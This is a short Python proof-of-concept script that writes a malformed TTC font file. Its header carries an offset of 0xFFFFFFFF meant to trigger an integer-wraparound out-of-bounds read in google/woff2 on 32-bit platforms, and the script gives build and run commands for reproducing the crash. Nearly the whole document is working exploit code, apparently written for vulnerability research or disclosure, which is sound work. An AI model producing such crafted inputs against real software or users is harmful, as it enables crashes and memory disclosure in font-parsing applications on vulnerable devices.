#!/usr/bin/env python3
"""
PoC: google/woff2 - Buffer::set_offset + ReadU8 integer wraparound OOB read
Target: 32-bit platforms (Android, x86-32)
Location: src/buffer.h:85 + src/font.cc:158

On 32-bit, setting offset_ to 0xFFFFFFFF via a TTC header causes
ReadU8's bounds check (offset_ + 1 > length_) to wrap to 0, passing
the check and reading buffer_[0xFFFFFFFF] (4 GB past buffer start).

Build: make CXXFLAGS="-m32 -fsanitize=address" woff2_decompress
Run:   ./woff2_decompress poc_woff2_ttc.ttc
"""
import struct

def create_ttc():
    # TTC header: tag "ttcf", version 1.0, numFonts=1, offset[0]=0xFFFFFFFF
    ttc_tag = b'ttcf'
    version = struct.pack('>HH', 1, 0)
    num_fonts = struct.pack('>I', 1)
    # This offset triggers set_offset(0xFFFFFFFF) on 32-bit
    offset = struct.pack('>I', 0xFFFFFFFF)
    # Need enough data so length_ > 0 for the wraparound check to pass
    padding = b'\x00' * 256
    return ttc_tag + version + num_fonts + offset + padding

with open('poc_woff2_ttc.ttc', 'wb') as f:
    data = create_ttc()
    f.write(data)
    print(f"[+] Written {len(data)} bytes to poc_woff2_ttc.ttc")
    print("[+] On 32-bit: triggers OOB read via offset_ + 1 wraparound")
    print("[+] On 64-bit: offset 0xFFFFFFFF is caught by bounds check (safe)")